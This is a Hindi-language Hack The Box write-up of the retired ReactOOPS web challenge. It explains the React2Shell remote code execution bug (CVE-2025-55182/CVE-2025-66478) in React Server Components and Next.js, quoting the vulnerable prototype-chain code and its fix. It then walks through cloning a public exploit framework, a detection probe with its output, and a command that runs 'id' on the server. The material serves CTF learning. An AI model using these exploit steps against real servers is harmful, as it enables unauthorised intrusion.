हैक द बॉक्स राइटअप: सेवानिवृत्त चुनौती ReactOOPS - पूर्ण समाधान और शैक्षिक मार्गदर्शिका CVE-2025-55182/CVE-2025-66478 (React2Shell RCE) के लिए। इसमें विस्तृत भेद्यता विश्लेषण, शोषण तकनीक और टीम सीखने की सामग्री शामिल है।
लेखक: TheStingR - टीम ISP1337Hackers
चैलेंज: ReactOOPS (वेब)
प्लेटफ़ॉर्म: Hack The Box
कठिनाई: बहुत आसान - RETIRED
समाधान तिथि: 13 दिसंबर, 2025
ReactOOPS एक वेब चैलेंज है जो CVE-2025-55182 / CVE-2025-66478 का शोषण करता है, जो React Server Components और Next.js App Router में एक गंभीर अप्रमाणित दूरस्थ कोड निष्पादन भेद्यता है।
मुख्य निष्कर्ष:
hasOwnProperty जाँच का अभावयह चैलेंज NexusAI के सहायक इंटरफ़ेस को चलाने वाला एक पॉलिश Next.js एप्लिकेशन प्रस्तुत करता है। एप्लिकेशन React Server Components के माध्यम से उपयोगकर्ता इनपुट को संभालता प्रतीत होता है, लेकिन रिएक्टिव लेयर में सूक्ष्म खामियाँ अंतर्निहित कमजोरियों का संकेत देती हैं।
एप्लिकेशन उपयोग करता है:
Flight प्रोटोकॉल React का मालिकाना क्रमांकन प्रारूप है जो सर्वर और क्लाइंट के बीच Server Component आर्किटेक्चर में डेटा संचारित करने के लिए उपयोग किया जाता है। यह निम्नलिखित संदर्भों का उपयोग करता है:
$1 - स्थिति 1 पर ऑब्जेक्ट का संदर्भ$1:path:to:value - गुण पथ अन्वेषणReact के ReactFlightReplyServer.js में असुरक्षित कोड:
// लगभग पंक्ति 450: getOutlinedModel फ़ंक्शन
function getOutlinedModel(response, id) {
let chunk = chunks.get(id);
const value = chunk.value;
// "$1:path:to:value" जैसे संदर्भों को संसाधित करें
if (reference.startsWith('$')) {
const refId = parseInt(reference.slice(1).split(':')[0]);
const path = reference.slice(1).split(':').slice(1);
let obj = chunks.get(refId).value;
// कमजोर लूप - कोई hasOwnProperty जाँच नहीं!
for (let i = 0; i < path.length; i++) {
obj = obj[path[i]]; // ← प्रोटोटाइप श्रृंखला तक पहुंच की अनुमति देता है
}
return obj;
}
}
सुरक्षित संस्करण (जो होना चाहिए):
for (let i = 0; i < path.length; i++) {
if (Object.prototype.hasOwnProperty.call(obj, path[i])) {
obj = obj[path[i]];
} else {
throw new Error('अमान्य गुण पहुँच');
}
}
hasOwnProperty जाँच के बिना, एक हमलावर निम्नलिखित अन्वेषण कर सकता है:
myObject[__proto__][then] → Chunk.prototype.then
myObject[__proto__][constructor] → Function
myObject[__proto__][constructor][prototype] → function.prototype
चरण 1: संदर्भ "$1:__proto__:then" भेजें
│
├─ myChunk[__proto__] तक पहुँचें
└─ फिर प्रोटोटाइप पर [then] तक पहुँचें
चरण 2: नकली Promise-जैसी वस्तु बनाएँ
│
└─ { then: maliciousFunction }
चरण 3: React इस वस्तु पर await कॉल करता है
│
├─ .then() विधि को लागू करता है
└─ हमलावर के फ़ंक्शन को निष्पादित करता है
चरण 4: मनमाना कोड निष्पादन (Arbitrary Code Execution)
│
└─ कोड सर्वर संदर्भ में रूट के रूप में चलता है
यह भेद्यता Next-Action सत्यापन से पहले मौजूद है:
अनुरोध प्रसंस्करण प्रवाह:
├─ मल्टीपार्ट फॉर्म डेटा पार्स करें
├─ Flight प्रोटोकॉल को डिसेरियलाइज़ करें ← RCE यहाँ होता है
│ └─ संदर्भ और वस्तुओं को संसाधित करें
│ └─ कोई hasOwnProperty जाँच नहीं!
├─ Next-Action हेडर निकालें
├─ कार्रवाई आईडी सत्यापित करें ← यह बाद में आता है
└─ कार्रवाई हैंडलर निष्पादित करें
डिसेरियलाइज़ेशन के दौरान RCE को ट्रिगर करके, हमलावर सभी कार्रवाई-स्तर सुरक्षा जाँचों को बायपास कर देते हैं।
# जाँचें कि सेवा प्रतिक्रिया दे रही है या नहीं
curl -v http://<IP>:PORT/
अपेक्षित: RSC सक्षम Next.js एप्लिकेशन HTML प्रस्तुत कर रहा है
संकेतकों की तलाश करें:
next- उपसर्ग हैं<script type="text/x-component"> है.next निर्देशिका कलाकृतियों की उपस्थितिसबसे विश्वसनीय संकेतक प्रोटोटाइप प्रदूषण हमले का प्रयास करना और प्रतिक्रिया का अवलोकन करना है:
# गैर-विनाशकारी पहचान पेलोड
# भेजता है: ["$1:a:a"] जो {} को संदर्भित करता है
# असुरक्षित: {}.a.a फेंकता है → HTTP 500 + E{"digest"
# पैच किया गया: hasOwnProperty पहुँच को रोकता है → कोई क्रैश नहीं
# चैलेंज निर्देशिका में जाएँ
cd /Challenges/ReactOOPS
# react2shell शोषण फ्रेमवर्क क्लोन करें
git clone https://github.com/freeqaz/react2shell.git
# सुनिश्चित करें कि सभी स्क्रिप्ट निष्पादन योग्य हैं
chmod +x react2shell/*.sh
लक्ष्य: बिना नुकसान पहुँचाए सर्वर के असुरक्षित होने की पुष्टि करें
cd react2shell
# डिटेक्शन प्रोब चलाएँ
./detect.sh http://<IP>:PORT
यह क्या करता है:
Next-Action: x हेडर के साथ मल्टीपार्ट POST अनुरोध बनाता है["$1:a:a"] जो खाली ऑब्जेक्ट {} को संदर्भित करता है{}.a.a तक पहुँचने का प्रयास करती हैअपेक्षित आउटपुट:
[*] React2Shell डिटेक्शन प्रोब (CVE-2025-55182 / CVE-2025-66478)
[*] लक्ष्य: http://<IP>:PORT
[*] HTTP स्थिति: 500
[!] असुरक्षित - सर्वर ने E{"digest" पैटर्न के साथ 500 लौटाया
[*] प्रतिक्रिया निकाय:
0:{\"a\":\"$@1\",\"f\":\"\",\"b\":\"s8I48LfEDhqpCdFN5-HbU\"}
1:E{\"digest\":\"346246470\"}
[!] यह सर्वर React RSC / Next.js का असुरक्षित संस्करण चला रहा है
व्याख्या:
E{"digest": ✅ React त्रुटि हैंडलिंग प्रारूपलक्ष्य: मनमाना कमांड निष्पादन सत्यापित करें
# रिमोट सर्वर पर 'id' कमांड निष्पादित करें
./exploit-redirect.sh -q http://<IP>:PORT "id"